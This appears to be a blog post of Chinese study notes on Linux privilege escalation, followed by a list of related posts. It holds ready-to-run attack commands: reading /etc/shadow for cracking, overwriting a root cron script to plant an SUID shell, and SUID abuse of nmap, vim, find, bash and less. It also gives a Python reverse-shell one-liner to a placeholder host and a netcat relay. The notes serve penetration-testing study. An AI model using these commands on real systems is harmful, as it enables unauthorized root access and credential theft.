zoukankan      html  css  js  c++  java
  • Linux常见提权

    常见的linux提权

    内核漏洞提权

    查看发行版

    cat /etc/issue
    cat /etc/*-release

    查看内核版本

    uname -a

    查看已经安装的程序

    dpkg -l
    rpm -qa

    通过一些现有的exp,上传到目标主机,执行exp,直接获取root权限

    github地址https://github.com/SecWiki/linux-kernel-exploits

    明文root密码权限

    大多数linux系统的密码都和/etc/passwd和/etc/shadow这两个配置文件息息相关。passwd里面储存了用户,shadow里面是密码的hash。出于安全考虑passwd是全用户可读,root可写的。shadow是仅root可读写的

    典型的etc/passwd文件

    root:x:0:0:root:/root:/bin/bash
    daemon:x:1:1:daemon:/usr/sbin:/bin/sh
    bin:x:2:2:bin:/bin:/bin/sh
    sys:x:3:3:sys:/dev:/bin/sh
    sync:x:4:65534:sync:/bin:/bin/sync
    games:x:5:60:games:/usr/games:/bin/sh
    man:x:6:12:man:/var/cache/man:/bin/sh
    lp:x:7:7:lp:/var/spool/lpd:/bin/sh
    mail:x:8:8:mail:/var/mail:/bin/sh
    news:x:9:9:news:/var/spool/news:/bin/sh
    uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
    proxy:x:13:13:proxy:/bin:/bin/sh
    www-data:x:33:33:www-data:/var/www:/bin/sh
    backup:x:34:34:backup:/var/backups:/bin/sh
    list:x:38:38:Mailing List Manager:/var/list:/bin/sh
    irc:x:39:39:ircd:/var/run/ircd:/bin/sh
    nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
    ibuuid:x:100:101::/var/lib/libuuid:/bin/sh
    syslog:x:101:103::/home/syslog:/bin/false
    sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin

    passwd由冒号分割,第一列是用户名,第二列是密码,x代表密码hash被放在shadow里面了(这样非root就看不到了)。而shadow里面最重要的就是密码的hash

    典型etc/shadow文件

    root:$6$URgq7sJf$4x8e9ntqTwAPIubi9YLxLQ2mZTTZKnGz0g/wWzOdPB5eGuz.S5iRtFdvfFd9VIVEWouiodB/hh9BYOLgAD8u5/:16902:0:99999:7:::
    daemon:*:15730:0:99999:7:::
    bin:*:15730:0:99999:7:::
    sys:*:15730:0:99999:7:::
    sync:*:15730:0:99999:7:::
    games:*:15730:0:99999:7:::
    man:*:15730:0:99999:7:::
    lp:*:15730:0:99999:7:::
    mail:*:15730:0:99999:7:::
    news:*:15730:0:99999:7:::
    uucp:*:15730:0:99999:7:::
    proxy:*:15730:0:99999:7:::
    www-data:*:15730:0:99999:7:::
    backup:*:15730:0:99999:7:::
    list:*:15730:0:99999:7:::
    irc:*:15730:0:99999:7:::
    gnats:*:15730:0:99999:7:::
    nobody:*:15730:0:99999:7:::
    libuuid:!:15730:0:99999:7:::
    syslog:*:15730:0:99999:7:::
    mysql:!:15730:0:99999:7:::
    dovecot:*:15730:0:99999:7:::
    sshd:*:15730:0:99999:7:::
    postfix:*:15730:0:99999:7:::

    查看权限

    ls -l passwd shadow

    如果passwd可写,我们就可以把root的密码字段(x)替换成一个已知密码的hash(比如本机shadow里面的root密码hash),这样系统在验证密码时以passwd的为准,密码就已知了。如果shadow可读,我们可以读走root的hash,然后用hashcat或者john暴力破解之。

    密码复用

    很多管理员会重复使用密码,因此数据库或者web后台的密码也许就是root密码。

    SUDO提权

    在之前的Acid靶机渗透中提到

    有了(疑似)root密码怎么办?你一定想ssh登陆。然而ssh很可能禁止root登陆,或是防火墙规则将你排除在外了。返回来想,我们不是有一个低权shell了吗?找个办法再上面“输入”密码就好了。显然,直接在低权shell里面用sudo是不奏效的。这是因为出于安全考虑,linux要求用户必须从终端设备(tty)中输入密码,而不是标准输入(stdin)。换句话说,sudo在你输入密码的时候本质上是读取了键盘,而不是bash里面输入的字符。因此为了能够输入密码,我们必须模拟一个终端设备。python就有这样的功能。在shell里面输入:

     python -c 'import pty;pty.spawn("/bin/sh")'

    就用python简历了一个虚拟终端,然后就可以使用sudo等等命令了。

    python -c 'import pty;pty.spawn("/bin/sh")'
    $ sudo su
    sudo su
    [sudo] password for www-data: 123456
    Sorry, try again.
    [sudo] password for www-data: 

    计划任务

    系统内可能会有一些定时执行的任务,一般这些任务由crontab来管理,具有所属用户的权限。非root权限的用户是不可以列出root用户的计划任务的。但是/etc/内系统的计划任务可以被列出

    ls -l /etc/cron*
    

    默认这些程序以root权限执行,如果有幸遇到一个把其中脚本配置成任意用户可写的管理员,我们就可以修改脚本等回连rootshell了

    打个比方,管理员设置了一个计划任务,定时使用clean,py清理文件。并且设置权限如下:

    方法一:

    我们复制了/bin/sh到/tmp下并为/tmp/sh启用了SUID。使用编辑器打开sanitizer.py并将“rm -r /tmp/*”中的内容替换为以下两行:

    os.system('cp /bin/sh /tmp/sh')
    os.system('chmod u+s /tmp/sh')
    

    一段时间后,它将在/tmp目录内创建一个具有SUID权限的sh文件,当你运行它时,你将会获取root访问权限

    cd /tmp
    ls
    ./sh
    id
    whoami 
    

    方法二:

    替换

    os.system(‘chmod u+s /bin/dash)
    

    一段时间后,它将为/bin/dash设置SUID权限,并且在运行时会给予root访问权限。

    /bin/dash
    id
    whoami

    方法三:

    在这种方法中,我们在rm -r /tmp/*的位置粘贴了python反向shell连接代码,并在新的终端中启动了netcat侦听。=>直接反弹shell,弹回的是具有root权限的

    还有一些方法,在下文的学习链接中,不一一赘述。

    SUID提权

    SUID是一种特殊的文件属性,它允许用户执行的文件以该文件的拥有者的身份运行

    为文件附上这样的权限命令:

    chmod u+s

    或者

    chmod 4755

    -rwsr-xr-x 1 root root 8632 Mar 15 20:53 suid-exp 
    

    像这样有s标志位的可执行权限的文件,运行后就是以ROOT用户执行

    其中,大家熟知的具有提权功能的Linux可执行文件包括:

    Nmap
    Vim
    find
    Bash
    More
    Less
    Nano
    cp

     以下命令可以找到正在系统上运行的所有SUID可执行文件。准确的说,这个命令将从/目录中查找具有SUID权限位且属主为root的文件并输出它们,然后将所有错误重定向到/dev/null,从而仅列出该用户具有访问权限的那些二进制文件。

    find / -user root -perm -4000 -print 2>/dev/null
    find / -perm -u=s -type f 2>/dev/null
    find / -user root -perm -4000 -exec ls -ldb {} ;

    Nmap

    较旧版本的Nmap(2.02至5.21)带有交互模式,从而允许用户执行shell命令。由于Nmap位于上面使用root权限执行的二进制文件列表中,因此可以使用交互式控制台来运行具有相同权限的shell。

    nmap -V

     

    为了启动交互模式,可以使用Nmap参数“interactive”。

     以下命令将提供一个提权后的shell

    nmap> !sh
    sh-3.2# whoami
    root
    

     此外,还有一个Metasploit模块,也可以通过SUID Nmap二进制文件进行提权。

    exploit/unix/local/setuid_nmap
    

    Find

    find命令 -exec参数可以用来指定系统命令,如果有py环境,可以直接将root权限,py反弹

    py反弹命令:

    python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('ip',port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"

     

    Vim

    Vim的主要用途是用作文本编辑器。 但是,如果以SUID运行,它将继承root用户的权限,因此可以读取系统上的所有文件。

    vim.tiny /etc/shadow

     此外,我们还可以通过Vim运行shell来执行只有root才能完成的操作。

    vim.tiny
    # Press ESC key
    :set shell=/bin/sh
    :shell
    

    Bash

    以下命令将以root身份打开一个bash shell

    bash -p
    bash-3.2# id
    uid=1002(service) gid=1002(service) euid=0(root) groups=1002(service)
    

    Less

    程序Less也可以执行提权后的shell。同样的方法也适用于其他许多命令。  

    less /etc/passwd
    !/bin/sh
    

    劫持环境变量提权

    放上文章,自己看不懂

    https://www.freebuf.com/articles/system/173903.html

    网络与隐藏的服务

    有一些服务器的服务会被配置成对内网或者对本机开放。通过对他们的攻击我们有机会接触更多的敏感文件,或是运气足够好碰上一个远程root漏洞。

    netstat -antup#查看各种网络服务
    

     如果找到些神秘的服务,可以用netcat做个转发

    mkfifo backpipe
    nc -l 8082 0<backpipe | nc remote_host 445 1>backpipe

    之后找漏洞,攻击,从头再来。

      

    分享一些辅助linux提权的工具(github上都有)

     unix-privesc-check: http://pentestmonkey.net/tools/audit/unix-privesc-check

    附上学习资料链接:

    https://www.cnblogs.com/hookjoy/p/6612595.html 综合

    https://www.anquanke.com/post/id/86979  SUID

    https://www.freebuf.com/articles/system/173903.html  劫持环境变量提权

  • 相关阅读:
    TCP流量控制,拥塞控制原理
    Java数组--求一个数组中连续m个数的和最大的数组组合
    一次使用IDEA编写JDK动态代理Class数组中有关泛型的问题
    Java数组--一个整型数组,给定一个定数,求数组中两个数的和与定数相等
    Java基础知识--Stream接口的理解与应用
    JSAP107
    JSAP106
    JSAP105
    JSAP104
    JSAP103
  • 原文地址:https://www.cnblogs.com/BOHB-yunying/p/11517748.html
Copyright © 2011-2022 走看看